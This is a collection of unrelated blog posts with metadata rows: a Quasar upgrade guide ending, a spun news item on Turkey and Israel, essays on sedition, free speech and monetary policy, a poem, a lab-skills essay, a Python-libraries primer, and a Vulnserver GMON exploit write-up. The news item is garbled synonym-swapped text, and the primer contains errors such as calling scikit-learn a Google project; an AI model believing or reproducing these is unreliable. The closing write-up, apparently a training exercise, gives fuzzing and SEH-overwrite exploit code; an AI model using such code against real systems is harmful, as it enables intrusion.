However, the second rule that was recently added is for QInput and QSelect being wrapped by QField (and this rule is recursive). The reason for this is that QInput and QSelect use QField as a mix-in and therefore no longer require QField as a parent component. Each of these warnings will need to be looked at closely. Most of the properties that you use for QField can be moved to QInput and QSelect.
Build Time
Once you have dealt with all the warnings and errors, you can now build your project.
$ quasar build
If there are any build errors, deal with them now. Then, try building again. Repeat until the build completes. I didn’t have any issues in this area, but your mileage may vary, so I thought I should include it.
Other Gotchas
Once you have your project running, there may still be a few issues that the linter can’t help you with.
For instance, on QSelect, you may need to add the following properties to get the same functionality that you had previously:
map-options emit-value
Another issue you may have is icon usage for QInput has changed. You now use the slots prepend and append to add icons and functionality. This means, if you were using the old QInput with type="password" , you used to be able to toggle the eye icon to make the password visible. You can still get that functionality by following the appropriate example that uses the append slot to accomplish the same thing.
Conclusion
The above information is by no means exhaustive. If you need help, here are some things to remember (as per the Quasar Upgrade Guide):
1. Read the documentation before asking questions on our Discord server or forums.
2. Prepare a CodePen so staff can help you.
3. Dig into the Quasar source code (it’ll help you understand the framework as well as teach you best practices for programming with Vue).
4. Don’t use framework components as mixins unless absolutely necessary (wrap them if you need).
5. Don’t target inner component stuff with CSS selectors unless absolutely necessary.
6. We recommend yarn whenever possible because of its speed and efficient use. However, when using globals, we still recommend using NPM, especially if you use nvm (Node Version Manager).
7. Use git for repository management and make regular commits, it is like taking notes on the process and lets you revert to a previous state in case you get stuck.
8. Use Quasar boot files for any pre-mounting app routines.
9. Be very cautious when using other libraries — Quasar can’t ensure they will be fully compatible
10. Finally, become a [backer/sponsor](https://donate.quasar.dev/) and get access to the special Discord support chat room for priority support.
I spent several days on the conversion of my company’s app. Hopefully, your project isn’t as large as mine was. Whether your project is large or small, I hope these tips and tricks for upgrading will help you.
If you have more tips and tricks or experiences from your upgrade to Quasar version 1.X, let us know in the comments below. We’d love to hear about them.
Interested in Quasar? Here are some more tips and information:
More info: https://quasar.dev
GitHub: https://github.com/quasarframework/quasar
Getting Started: https://quasar.dev/start
Chat Server: https://chat.quasar.dev/
Forum: https://forum.quasar.dev/
Twitter: https://twitter.com/quasarframework
Donate: https://donate.quasar.dev | https://medium.com/quasar-framework/upgrading-quasar-v-17-to-v1-2-c8612b4ae3a1 | ['Jeff Galbraith'] | 2019-10-14 19:50:45.682000+00:00 | ['Porting', 'Upgrade', 'JavaScript', 'Eslint', 'Quasarframework'] |
Erdogan says Turkey needs better binds with Israel, yet ‘Palestine strategy is our red line’ | President Tayyip Erdogan said on Friday that Turkey might want to have better binds with Israel and that discussions at the insight level proceeded between the different sides, yet condemned Israeli strategy toward Palestinians as “unsuitable”, reports Reuters.
The two nations have had a severe altercation lately, regardless of solid business ties, removing ministers in 2018. Ankara has over and over denounced Israel’s occupation in the West Bank and its treatment of Palestinians.
Addressing journalists after Friday petitions in Istanbul, Erdogan said Turkey had issues with “individuals at the high level” in Israel and that ties might have been “totally different” in the event that it was not for those issues.
“In the event that there were no issues at the high level, our ties might have been altogether different,” he added. “We might want to carry our connections to a superior point.”
Turkey and Israel, previous partners, removed each other’s top negotiators in 2018 over conflicts when many Palestinians were slaughtered by Israeli powers on the Gaza fringe. Ankara and Tel Aviv keep on exchanging with each other.
In August, Israel blamed Turkey for offering visas to twelve Hamas individuals in Istanbul, portraying the move as “a hostile advance” which his administration would raise with Turkish authorities.
Hamas held onto Gaza from powers faithful to Palestinian President Mahmoud Abbas in 2007, and the gathering has battled three battles with Israel from that point forward. Turkey says Hamas is an authentic political development that was chosen equitably.
Israel, which has formalized binds with four Muslim nations this year, said on Wednesday it was pursuing normalizing attaches with a fifth Muslim country, perhaps in Asia. Tunisia said on Tuesday it didn’t expect to standardize ties.
Ankara has hammered the US-facilitated rapprochements among Israel and the United Arab Emirates, Bahrain, Sudan, and Morocco, with Erdogan, beforehand taking steps to suspend conciliatory binds with the UAE and pull out its agent. It additionally hammered Bahrain’s choice to formalize ties as a hit to endeavors to shield the Palestinian reason.
Palestinians have reprimanded the US-handled arrangements, seeing disloyalty of a long-standing interest that Israel initially satisfy their statehood need. Egypt and Israel set up full relations in 1979 and Jordan in 1994. | https://medium.com/@ahmadtan740/erdogan-says-turkey-needs-better-binds-with-israel-yet-palestine-strategy-is-our-red-line-8ab28a6f8114 | [] | 2020-12-26 11:37:46.002000+00:00 | ['Palestine', 'Israel', 'Erdogan', 'Red Line', 'Turkey'] |
Those Advocating Sedition Need To Be Held Accountable –Maybe in a Military Court | John Frankenheimer’s famous 1964 motion picture Seven Days in May has been on my mind lately. In this award-winning film, fictional Air Force General James Scott, played by Burt Lancaster, orchestrates a plot for a military take-over of the American government. The general and the military establishment are unhappy with an arms control agreement negotiated by the president, played by Academy Award winning actor Frederic March. Although filmed in black-and-white, the cinematography is memorable and the screenplay by Rod Sterling (famous for his television series The Twilight Zone) is gripping.
The coup seems destined to succeed but is uncovered by an aide to General Scott, Marine Colonel Jiggs Casey, played by Kirk Douglas. After the coup has been discovered and the plotters dismissed, Scott confronts Casey in the Pentagon. “Do you know who Judas was?” Scott scornfully asks his aide.
“Yes, I know who Judas was,” Colonel Casey tersely replies. “He’s a man I worked for and admired, until he disgraced the four stars on his uniform.”
Disgracing the stars once worn on American uniforms seems to be in vogue. The recent accusations of wide-spread voter fraud in the 2020 presidential election being made by two retired senior military officers, Army Lieutenant General Michael Flynn and Air Force Lieutenant General Thomas McInerney, with both arguing that the election has been stolen from President Donald Trump through some sort of massive plot, is disturbing. Flynn and particularly McInerney have spun a fantastic yarn arguing that votes were somehow changed through a cyberattack on voting machines, coordinated by a CIA server in Frankfurt, Germany; that this CIA facility was attacked by an Army unit resulting in several casualties; that the Army effort to stop this CIA operation and other electoral misdeeds is being run by the 305th Military Intelligence Battalion; and that without this treason Trump would have actually received eighty-five million votes.
McInerney claims to have evidence of all this, evidence that for reasons he does not explain has not been submitted in any of Trump’s sixty or so court challenges to the election. He seems to be unbothered by the fact that the 305th MI Battalion is a unit based in Ft. Huachuca, Arizona that trains young enlisted soldiers, has no operational capability, and has not been deployed since World War Two. Moreover, despite the breathless public assertions of Trump’s attorneys about massive fraud, when these same attorneys appear before a judge as officers of the court, allegations of massive fraud suddenly disappear. Instead, evidence of “irregularities” is substituted that has, in all cases, been judged “non-credible.” But this has not prevented Flynn and McInerney from continuing with their wild accusations.
But what is more disturbing than Flynn and McInerney’s fundamental fantasy is the remedy they advocate. As McInerney stated during a right-wing radio interview, President Trump should evoke the 1807 Insurrection Act, that he should declare martial law and suspend habeas corpus, that he should declare the recent election invalid, that he should order a new election supervised by the military, and that those engaged in this imagined treason should be tried before military tribunals.
McInerney is fully unbothered by the enormous logic disconnects in his delusions. He is essentially arguing that a vast array of federal, state and local officials is engaged in a massive, treasonous plot. This plot would include Republican and Democratic governors, secretaries of state, attorneys general, state electoral canvassing boards, local canvassing boards, and thousands of precinct officials and poll workers from eastern Pennsylvania to western Nevada.
This enormous conspiracy would have required the assistance of Chris Krebs, the recently dismissed Director of the Cybersecurity and Infrastructure Security Agency. It would mean that FBI Director Christopher Wray had missed or ignored an enormous web of treachery. And it would mean that CIA Director Gina Haspel has been overseeing a sinister effort to frustrate democracy, and that her organization has been physically attacked by forces controlled by Acting Defense Secretary Christopher Miller. All of these individuals are Republicans appointed to their positions by Trump, meaning that his administration would literally be at war with itself.
Even the fertile mind of Rod Sterling could not imagine such a story, and if he did imagine it, he certainly could have never sold it to a motion picture producer.
But what is actually disturbing here is what McInerney and Flynn are advocating, which is clearly illegal and unconstitutional. They are the ones who need to be held accountable, and by the very institution they have called upon to implement their ludicrous plan: the US military.
Pennsylvania Attorney General Josh Shapiro, when filing his response to the Supreme Court regarding the Texas electoral challenge, said it was a “seditious abuse of the judicial process.” The word “seditious” is the adjectival version of the noun “sedition.” And sedition means, “overt conduct, such as speech and organization, that tends toward rebellion against the established order. Sedition often includes subversion of a constitution and incitement of discontent toward, or rebellion against, established authority.”
Generals Flynn and McInerney, with their statements, assertions, and calls for extreme action are engaged in sedition. And this is shockingly dishonorable behavior for military officers who swore and oath to “support and defend” the constitution of the United States.
Were Flynn and McInerney still on active duty they could be arrested by military police and charged with violating section 894, article 94 of the Uniform Code of Military Justice, the American military’s judicial code, commonly known in the military community as UCMJ. The UCMJ prescribes and describes both legal offenses and the procedures by which they are to be judged, including courts martial.
The UCMJ allows for the recall of discharged and retired military personnel to face trial for offenses they may have committed while on active duty. In addition, as reasoned by several authorities on UCMJ, retirees can also be recalled and charged for offenses committed during retirement if they have not resigned their commissions and have maintained a voluntary relationship with the military. Under this reasoning, a voluntary relationship includes the receipt of retirement pay.
Neither Flynn nor McInerney have resigned their commissions, and both are quite certainly drawing retirement pay. Section 802, article 2 of the UCMJ states that among those subject to military law are, “Retired members of a regular component of the armed forces who are entitled to pay.” That would include these two retired officers. And article 94 states that, “Any person subject to this chapter who — with intent to cause the overthrow or destruction of lawful civil authority, creates, in concert with any other person, revolt, violence, or other disturbance against that authority is guilty of sedition.”
It is unclear under UCMJ who would file such charges against Flynn and McInerney and order their arrest. Certainly President Trump, who has shown a habit of interfering in UCMJ proceedings — usually to dismiss charges — would not do so. But what might happen in the Biden administration? Might Commander-in-Chief Biden use UCMJ to discipline these two retired officers. Probably not — but he could.
As for Flynn and McInerney’s call that the election be redone and supervised by the military, that is in direct contravention to the Posse Comitatus Act of 1878, legislation prohibiting the use of federal troops to enforce civilian law that was created in response to the presence of federal troops at voting polls. In addition, Section 593 in the Federal Criminal Code (Title 18) states that an officer who “imposes or attempts to impose” changes in conducting general or special elections in a state “different from those prescribed by law,…shall be fined under this title or imprisoned not more than five years, or both.”
Numerous commentators have described Flynn and McInerney as “unhinged.” And they clearly are. But as retired military officers who have not fully severed their ties with the military establishment, they are also advocating steps in support of Trump that are illegal in terms described in both military and civilian law. They could be held accountable. They likely should be held accountable. But at the very least they need to be made aware of their vulnerability to potential disciplinary action, if they still have enough reasoning capacity to care. In any event, they should probably watch Seven Days in May, and listen carefully to the concluding words of fictional Marine Colonel Jiggs Casey. | https://medium.com/@tomdaviscommentary/those-advocating-sedition-need-to-be-held-accountable-maybe-in-a-military-court-73a81ac12c41 | ['Tom Davis'] | 2020-12-19 19:58:41.572000+00:00 | ['Law Enforcement', 'Military', 'Trumpism', 'Election Fraud', 'Election 2020'] |
Save your tears for another day | Don’t miss me on your happy days.
Please miss me first When she knocks
I was just a spectator.
She is the main character in the path of life
Watching smile. That didn’t smile for me,
the laughter at the jokes that I wasn’t
told,
watched you live. Used for yourself
My happiness is only that
If you are suffering Just call on me
Think I’m a box of suffering
Then seal it in here
It would be a good hope. Mixed with my own selfishness
For not daring enough to possess her happiness
at least I would like to be selfish You can only occupy her suffering
This is probably the best way of salvation
Save your tears. With a precious matter
An old friend who escaped when she was sad. | https://medium.com/@everythingcj/save-your-tears-for-another-day-a4462019d64f | ['Everything Cj'] | 2020-12-25 00:27:38.710000+00:00 | ['Life', 'Poem', 'Quotes', 'Situation', 'Here'] |
How to Master a New Technique | Originally published on August 3, 2020 in Johns Hopkins’ blog Biomedical Odyssey (link)
In a 2016 interview, Mark Zuckerberg — the co-founder, chairman and CEO of Facebook — reflected on a particularly impactful piece of advice that he had received from a mentor: “In a world that’s changing so quickly, the biggest risk you can take is to not take any risks.” This particular use of the term “risk” isn’t intended to describe dramatic or life-altering acts, but rather to refer more broadly to any action that requires you to step outside of your comfort zone. The fields of science, technology, engineering and mathematics are constantly evolving and, therefore, demand that their practitioners grow and evolve in kind. Those who engage in biomedical research are no exception.
As scientific journals grow increasingly more favorable to multifaceted projects that solve a conundrum through several angles of attack, it’s practically inevitable that you’ll be prompted to rapidly acquire technical competence in a variety of unfamiliar techniques — to step outside of your comfort zone and take a “risk.” The impetus to evolve will only increase throughout your career, regardless of your particular industry. While most skills can be learned through adequate amounts of focus and dedication, it’s always helpful to make the experience of acquiring new skills more efficient by staying grounded in a widely applicable process of attaining mastery. This process may vary from person to person, depending on your particular learning style. My own process for rapidly acquiring competence in a new skill or technique follows three sequential steps — imitate, improvise, innovate — that I first developed as a child while engaging in one of my favorite activities: Lego.
Step 1: Imitate
I wish I could have witnessed the look of consternation that must have washed over my face when I cracked open my first Lego set and dumped out the colorful mess of bricks. How exactly am I supposed to build something as impressive as a Mars rover out of these simple building blocks? The initial anxiety must have subsided almost as quickly as it arrived, thanks to the reassuring pages of the instruction booklet, which outlines exactly how Lego model designers construct the same sets. The detailed walkthrough provided by these booklets subconsciously encouraged the idea that a quality end-product could be achieved by taking things one step at a time. Troubleshooting was simply a matter of tracking down misinterpreted steps. The unknown need not be feared.
Likewise, a new technique might seem intimidating at first glance, but it can be conquered with the right guidance. Certain laboratory techniques are more amenable to learning by imitation, since colleagues in your lab or in other labs may have already attained some level of mastery. The benefits of in-person imitation — with added advice about challenging steps or common mistakes — can save you the trial-and-error that is required to successfully perform a technique through a written protocol, which more abstractly describes the methodology. When in-person guidance is unavailable, contacting others through online forums or emailing the corresponding author of a publication can fill gaps that might not be described in a protocol. There’s no need to reinvent the wheel — it only had to be invented once and imitated in perpetuity thereafter, with slight variations. In brief, you can go a long way just by imitating that which you observe.
Step 2: Improvise
The learning process can be messy sometimes, but the short-term chaos can lead to long-term benefits. After some experience in constructing multiple Lego sets, per the instructions, I’d often modify the sets that had been preordained, borrowing a structure from one set and combining it with a structure built in another. Soon enough, smaller rocket ships combined to become larger rocket ships, and different rooms combined to become castles. This type of mental wandering, guided only by curiosity and intuition, would serve as a valuable stopover on the road to mastery. Similarly, there may be multiple versions of a given protocol for which different steps perform better (or worse) depending on which protocol you choose. Perhaps combining the different protocols in a patchwork fashion will yield one that performs even better.
Improvisation may not always be spontaneous, but rather born out of necessity. Perhaps a protocol calls for a certain reagent but, instead of waiting a week for it to arrive, you use the same reagent already in the lab that has a slightly different concentration. How does it perform relative to the recommended concentration? Maybe you even make a mistake that happens to produce a beneficial outcome — your incubation step increased from 15 minutes to one hour because you forgot about it while attending a seminar, and now the protocol that had previously yielded subpar results suddenly exceeds your highest expectations. Improvisation is an elevated form of trial-and-error in which you instinctually modify standard procedure and become acquainted with the necessary or sufficient conditions for success in a new skill.
Step 3: Innovate
In most cases, improvisation is as far as you’ll ever have to go, but it’s not as far as you can go. What if you want to do something that lacks a standard procedure — something that has never been done before? If you can’t find a way, you have to make a way. In order to achieve what I would describe as the most advanced stage of mastery, you must understand the role of each fundamental component and reconstitute those components in new and interesting ways to produce novel effects. When I built a Lego pirate ship from scratch, I knew that I would need long and flat pieces for the bow of the ship, bricks with studs on both the top and the sides so that I could attach smooth panels along the sides of the bow, and a few special bricks that would allow me to build masts for the sails. I didn’t look at any instructions on how to build a pirate ship, but my knowledge of various pieces and the specific roles that they serve guided me on my path to jury-rigging the structures that fulfilled what I had envisioned.
Innovation in the lab can range from developing an entirely new experimental method to designing a new type of analytical framework. Every technique or skill ultimately boils down to a daisy chain of cause-and-effect relationships. What role does each reagent serve? What role does the duration of each incubation step serve? Why should I pipette up and down slowly in this step, but vigorously in the other step? You can leverage your understanding of the precise cause-and-effect relationships of prior protocols to generate completely novel applications. Many of the useful molecular biology techniques that we now consider routine were first devised with a similar eye towards innovation.
DNA polymerases replicate specific sequences of DNA when cycled through different temperatures in a pH-adjusted buffer that has been supplemented with primers, four types of deoxyribonucleic acids, and magnesium chloride? Maybe I can amplify a gene that I’m interested in using a polymerase chain reaction (PCR). Special bacterial Cas9 nucleases are capable of cutting precise regions of viral genomes that have a complementary sequence to a special RNA template? Maybe I can use those nucleases to cut precise regions of the human genome in a cancer cell line to knock out my gene of interest and see what happens. While it’s easy to take techniques like PCR for granted, it’s important to remember that there was a time when no one had ever done PCR before; a time before Dr. Kerry Mullis had won the 1993 Nobel Prize in Chemistry and had to string together a series of cause-and-effect relationships to do something completely novel. It’s exciting to think that the ingredients for the next great innovation lay well within our grasp, if only we were to realize it.
The same three-step sequence that I used to learn how to bring my imagination to life as a child applies surprisingly well to the process of learning the most cutting-edge skills and techniques in biomedical research. By imitating others, either in person or via instructions, I can perform the skill. By improvising, I can improve the skill and test its limits. By innovating, I can forge new skills that had never before existed. Hopefully my process for rapidly acquiring competence in a new skill or technique will prove useful in your own endeavor to push the boundaries of science, technology, engineering and mathematics. | https://medium.com/@rvchikar/how-to-master-a-new-technique-8d3f8ea2424a | ['Roshan Chikarmane'] | 2020-12-25 04:37:40.734000+00:00 | ['Medicine', 'Science', 'Biotechnology', 'Pharmaceutical'] |
Discovering Numpy, Pandas and SciKit Learn. | When starting with Machine Learning you see the terms Numpy, Pandas and SciKit Learn mentioned around whether relevant or not. This article will help you understand each term and will come definitely in handy when you’re busy mastering Machine Learning.
Numpy
Numpy stands for numerical python. As the name gave it away, it’s an opensource library for the Python programming language. I hear you thinking: “another library…” but no such thing is true! Numpy is one of the most useful libraries especially if you’re crunching numbers.
Purpose
Numpy adds support for large, multi-dimensional matrices and arrays, along with a gigantic collection of top-end mathematical functions to operate on these arrays and matrices. It’s objective is to make it easier for you to transform difficult functions or calculate some data analysis. Numpy’s biggest advantage is its fastness. It’s so much faster than using the built-in Python’s functions.
For example, it lets you simply calculate the mean and median of a dataframe with a plain line of code for each:
np.median(ages)
np.mean(ages)
How to import
First off you need to install Numpy but only if you’re not using Anaconda. To do so:
pip install numpy
You always import Numpy as np, its just silence agreed on.
import numpy as np
Pandas
Pandas is a Python opensource library that gives you a highly useful set of tools to do data analysis. Learning Pandas is a must for stepping up your Machine Learning game. Not only is it used for data analysis but also for data science, Machine Learning, … To put it simply: if it uses data, you’re gonna need Pandas. It can help you load, prepare, merge, join, reshape, analyze, process and adjust data in a blink of an eye.
Purpose
As mentioned above, Pandas is an open-source library that lets you easily use data structures and data analysis tools for the Python programming language. Pandas is structured around DataFrame objects. All of your data comes into one big DataFrame where you can select out some samples or other data manipulation if wanted.
Some other fancy things Pandas lets you do are:
Reading and writing data between in-memory data structures and different formats such as CSV, text files, Microsoft Excel files, SQL databases, …
data between in-memory data structures and different formats such as CSV, text files, Microsoft Excel files, SQL databases, … High-performance merging and joining of data sets
of data sets Data alignment and integrated handling of missing data
How to import
First off you need to install Numpy but only if you’re not using Anaconda. To do so:
pip install pandas
You always import Pandas as pd, its just silence agreed on.
import pandas as pd
SciKit Learn
SciKit Learn is the go-to library for Machine Learning. It’s a library founded by Google as a Google Summer of Code project. The name came from:
sciPy Toolkit
Purpose
Just like Pandas and Numpy, it’s a Python library, but SciKit more specific for Machine Learning. SciKit Learn includes everything from dataset manipulation to processing metrics. One of the best things about SciKit Learn are the built-in algorithms for Machine Learning which you can just try out with minimal adjustments. Functions such as classification, regression, clustering, mode, model selection and others are generally built-in.
How to import
Scikit Learn requires Python and NumPy. For plotting (functions that start with “plot_”) you’ll first need to import Matplotlib. If you already installed Numpy, you can simply install SciKit as following:
First off you need to install SciKit but only if you’re not using Anaconda. To do so:
pip install scikit-learn
As you usually don’t need the whole library, you can easily import just a fraction of it: | https://medium.com/personal-project/numpy-pandas-and-scikit-learn-explained-e7336baecedc | [] | 2019-12-15 11:22:44.425000+00:00 | ['Numpy', 'Scikit Learn', 'Data Science', 'Pandas', 'Machine Learning'] |
Free Speech or Die? | This battle for freedom of speech is being played out mostly on college campuses. Recently, left-leaning students have, at times successfully, pressured private and public universities to disinvite right-wing speakers who they feel spread messages of hate. This is where the free speech conversation gets murky. While the First Amendment does not guarantee access to property simply because it is owned or controlled by the government, it does protect the rights of students and public universities who invite speakers who may deliver hateful or divisive messages, as well as the rights of the speakers themselves. Part of the problem is that these battles are often waged after a very small contingent has invited a speaker rather than allowing the full student body to democratically weigh in on whether a speaker should be invited.
Campuses of government-funded public universities are indeed public spaces, but not in the same way as public parks or street corners, and there can exist context that limits absolute freedom of speech when dealing with them. Colleges are institutions of higher learning, not town squares, and the faculty has a responsibility to provide the students with the best education possible. Campuses have always been a stew of ideas, a soupy mess, as they should be. The business of evolving into a more compassionate versions of ourselves is going to have many bumps along the road. From microaggressions to the #MeToo movement, our society is experiencing growing pains, and that’s good. For far too long, those who benefit the most from systems of patriarchy and white supremacy have dictated for oppressed people what they may be offended by.
Youth have always been ahead of the curve on issues of principle and oppression. From the French Revolution to the anti-war protests of the 1960s, history has taught us that college students who oppose the right-wing politics that often lead to rises in fascism have traditionally been on the right side of history. The people most offended by the use, or at times overuse, of phrases like microagressions, trigger warnings, and safe spaces are often straight white males who never experience the kind of oppression and degradation of being that would lead to people to explore new ways of dealing with it. Telling someone how to deal with something you are not the target of is a glaring example of abusing your privilege.
As a show-business performer, I understand and relate to critiques that comedians like Chris Rock have made about the difficulties of performing for college students who’ve been made overly sensitive by a politically correct culture. However, I also do not hold comedians to the same rigorous standards of message and conduct as I would journalists, politicians, or scientists. If college students, while trying to be inclusive, compassionate, and less bigoted, getting it wrong every once and a while is enough of a problem for you to write a think piece about it, you’re exhibiting an incredible amount of privilege. College is not meant to be show business; it is meant to be an incubator for ideas.
Safe spaces are often necessary for victims of abuse, and just like anything designed to protect victims, the concept of safe spaces can be abused as well. That doesn’t mean we should abandon the concept or make fun of people who may actually need them. Apologists for fascists point to the liberal ACLU stance on absolute freedom of speech, no matter the consequence. I believe the ACLU is correct in principle but not in practice. The real-world application of principal does not always yield the correct results, because when it comes to oppression, intention doesn’t matter—results do. It’s strictly white privilege to say that what Nazis and the KKK say is not violent just because they say it politely while dressed in khakis. Nazis and the KKK hide behind freedom of speech to advocate for the removal and extermination of people of color and anyone else they do not like.
Freedom of speech by itself is not the foundation of anti-fascism; anti-fascism is the foundation of anti-fascism. If you are using your freedom of speech to support, defend, and apologize fascists, rather than use it to actively resist fascists, you are helping fascism. Fascism is anti-human, and fascists, like those who support pedophilia, should always face consequences. Milo Yiannopoulos was given many platforms until he expressed support for pedophilia, because every one of us has been a child. Not every one of us feels threatened by fascism, and we all should. As a man who places morality above the legal system, I cannot hide behind the First Amendment for my argument. People of color have always had our freedom of speech suppressed in America; this is not new to us. We haven’t been able to depend on the government to protect our freedoms, and we have had to protect ourselves from the government itself. Slavery legally coexisted with the First Amendment for more than 100 years. Cry me a river.
The heads of the alt-right movement, which rose to power courtesy of the Trump administration and is more than comfortable aligning with white supremacist ideas, have successfully weaponized the concept of free speech against those who also use free speech to tell them that their ideas are shit.
Self-proclaimed free speech martyrs like Steve Bannon, Milo Yiannopoulos, and Richard Spencer openly state that they want to destroy liberalism, globalism, and the idea that diversity is a good thing. When people hate diversity, Nazis are born. When people see those who oppose them as less than human, they have no problem taking a human life to make a point. It not a coincidence that hate crimes against Muslims and Jews have risen dramatically since Trump took office.
White supremacists who harass anti-racist and anti-fascist activists online behind anonymous accounts are followers of a wide array of these “free speech” advocates. The use their precious anonymity and claims of having their free speech oppressed to write terribly bigoted things and to support terribly bigoted ideas. They often confuse social media with an open marketplace of ideas, as if social media were the internet itself. They don’t seem to understand that they agreed to terms of service before signing on to sites like Twitter and Facebook, and that these terms of service say they can be suspended for many different forms of bigotry or harassment. Social media networks are private companies that make you obey the rules of the house and reserve the right to kick you out when you break those rules. Your Twitter account does not fall under the protection of the First Amendment. Remember, conservatives, corporations are people too.
Freedom of speech in America simply means the government cannot arrest you for what you say. This I agree with. This doesn’t mean I must tolerate or listen to what you have to say, and it doesn’t mean that your misinformed opinions must be treated as fact or with respect, either in the flesh or on social media. The First Amendment does not protect you from criticism or protest of your ideas. If what you choose to say or write gets you banned from a community, yelled at, fired from your job, or called mean names, your right to free speech is not being violated. You are just receiving the karmic consequences of using your free speech to advocate for hate. There are places in the world where free speech is truly being suppressed. Your Twitter account is not one of them. Your college campus is not one of them. Use your free speech to show solidarity with those who are actually being oppressed instead. | https://medium.com/s/story/free-speech-or-die-53a206027143 | ['Talib Kweli Greene'] | 2018-02-27 22:57:04.189000+00:00 | ['Alt Right', 'Extremism', 'Politics', 'Free Speech', 'First Amendment'] |
MONEY IS NOW FREE!!! | “The way money is created reveals a fundamental truth — money is free and infinite. BUT only one class of institutions (and their patrons) gets to experience money for what it really is. The rest? They must play Hunger Games for their scraps. They must treat money as a rare and precious commodity and pray the checks clear — or that Angelina Jolie adopts them.” The Prosperity Paradox, 2014
It finally happened. The Atlantic just published a piece called “ Stop Worrying About Budget Deficits: Red ink isn’t a problem as long as the country is spending on the right things’. It’s really important for every American to understand how mainstream economists are steering the US towards MMT (“Modern Monetary Theory” or “ Magic Monetary Theory “), which is printing unlimited money to solve all our problems. Because it’s magic. I’ll explain the good, bad and ugly of the new rules of macroeconomics — and how we should use this magic.
First, some context…
Until now, we’ve been living under perverted Keynesianism, where government spends during busts but fails to save during booms. The prevailing alternative, stingy Austrian economics of limited debt and balanced budgets, get hot air, but no liftoff.
Even perverted Keynesians once feared inflation. Print too many dollars and prices go up, interest rates skyrocket, debt servicing becomes impossible, and we default. This has not happened for many reasons. The biggest is debt and dollars are our number one export.
The more countries, companies, institutions and individuals use dollars and hold dollar-based debt, the less they want these assets to fail. Reserve currency status, without more stable alternatives, gives the US a singular chance to spend ** virtually** unlimited cash — and run huge defects.
Just like OPEC nations and Russia lived off oil, failing to develop real diversified economies, the US’s reserve currency status lets us live off limitless printed and borrowed dollars without fixing deep structural issues. This glitch is what props up our economy.
The New Rules of Macroeconomics
Now, EVERYONE — even slowpoke economists, who missed ALL the BLATANT signs of the Great Recession (or were actively complicit in its crimes), woke up to our magical reality. So they’ve re-written the rules of macroeconomics, captured in the Atlantic piece. I’ll break down all four rules…
Rule #1: Run a Deficit
“most important is to run a deficit. ..US should abandon the goal of balancing its budget when the economy is good, and it should run deficits, sometimes large deficits, in perpetuity.”
It’s true, we can run big deficits for as long as dollars are the reserve currency.
This masks a slow-motion economic collapse: Aging, hollowing out of the middle class, trade deficits, borrowing to fund basic expenses and failure to address root causes. This postpones needed structural, economic and tax reforms.
Rule #2: “Forget about Debt as a share of GDP”
Yes, Japan has dragged along with a dying population and stratospheric debt-to-GDP ratio for decades (albeit with more domestic creditors). If they can do it, we can too. But surviving isn’t thriving. It is a disincentive to fix underlying problems.
Rule #3: “Instead measure interest owed as % of GDP”
This is the macroeconomic equivalent of going from a balance sheet to a cash flows statement. As long as rates stay low, we can make our monthly payments and buy groceries.
Inspired yet?
Rule #4: “Use deficits to fuel growth”
This I agree with. We should have been investing in revenue-generating activities for decades. So why haven’t we?
Because our capital is wasted. We’re barely making the rent, so to speak. Most of our spending goes to entitlements (Medicare, Medicaid, Social Security) and military. Very little goes to address poverty, healthcare, education, drug addiction or GROWTH.
We also give away billions a year in tax breaks and loopholes to politically-connected corporations and rich people with no justifiable upside. The 2017 tax cuts did more of that (but did reduce mortgage and state tax deductions, which were regressive).
Reality is, we manage money like a meth-head plays Jenga. Not well. I broke down our government’s spotty history of stimulating industry in Episode 3 of my healthcare podcast series, Would You Trust A Schizophrenic? (With Your Healthcare).
So where’s this going?
As much as I hate to say it, towards MMT.
Modern Monetary Theory basically argues that the US can solve all problems through money printing. An in a strange way, they’re right…
Here’s former Federal Reserve Chairman Ben Bernanke explaining how dollars are created. | https://medium.com/@ideafaktory/the-4-new-rules-of-macroeconomics-cc9d98e27b3a | ['Steve Faktor'] | 2020-12-24 03:18:15.321000+00:00 | ['Finance', 'Economy', 'Economics', 'Politics', 'Policy'] |
Vulnserver GMON exploit. SEH based buffer overflow for GMON… | Vulnserver GMON exploit
SEH based buffer overflow for GMON command in vulnserver.
In this post, we will be exploiting the GMON command of Vulnerver using SEH based buffer overflow. If you are not acquainted with SEH based buffer overflows you can refer to the Exploit Research Megaprimer on Security Tube or Corelan’s tutorials on buffer overflows. If you want to read about vanilla buffer overflows you can read my post here. This post is a writeup for vulnserver and not for understanding how SEH is exploited.
We are running the Vulnserver on a Windows 7 x86 VM without any patches. Keep in mind that your exploit may not work if Windows has updated itself. Always turn off automatic updates. We are also using Immunity and mona.py for debugging and boofuzz for fuzzing.
Crashing the program!
For fuzzing the program we will be using the following script template. This script keeps on fuzzing the server as long as it responds with the banner.
from boofuzz import *
import time def get_banner(target, my_logger, session, *args, **kwargs):
banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
try:
banner = target.recv(10000)
except:
print("Unable to connect. Target is down. Exiting.")
exit(1) my_logger.log_check('Receiving banner..')
if banner_template in banner:
my_logger.log_pass('banner received')
else:
my_logger.log_fail('No banner received')
print("No banner received, exiting..")
exit(1) def main(): session = Session(
target=Target(
connection=SocketConnection("192.168.0.109", 9999, proto='tcp')
),sleep_time=0.5,
) # Setup
s_initialize(name="Request")
with s_block("Host-Line"):
s_static("GMON", name='command name')
s_delim(" ", fuzzable=False)
s_string("FUZZ")
s_delim("\r
") # Fuzzing
session.connect(s_get("Request"), callback=get_banner)
session.fuzz() if __name__ == "__main__":
main()
Few seconds after running the program we can see that the application has crashed.
No Banner as program crashed
Boofuzz stores the result of the fuzzing session in an SQLite database. We can see that the payload of 5013 bytes has crashed the program.
Now we try to replicate the crash using our handy script which will slowly develop into the exploit.
import socket
import os
import sys host = "192.168.0.109"
port = 9999 buffer = 'A'*5013 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port)) print s.recv(1024)
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
We attach Immunity Debugger to the vulnserver.exe process and examine the crash. We can see that the SEH Handler is overwritten with 0x41.
Registers are overwritten with 41
SEH Chain corrupted with 41
Now we need to find the exact offset after which the SEH Handler gets overwritten. We use msf-pattern_create to generate a unique string of length 5013 and send it instead of ‘A’s. We get the offset as 3519.
The position of the nSEH record is 4 less than the SEH record so the offset for nSEH is 3515. To verify we send the following payload.
#Original crash payload size = 5013
#SEH Handler Offset = 3519
#nSEH Offset is 3519-4 = 3515 seh = "BBBB"
nseh = "CCCC"
buffer = 3515*"A"
buffer+= nseh
buffer+= seh
buffer+= "D"*(5013-len(buffer)) s.send("GMON /.:/" + buffer)
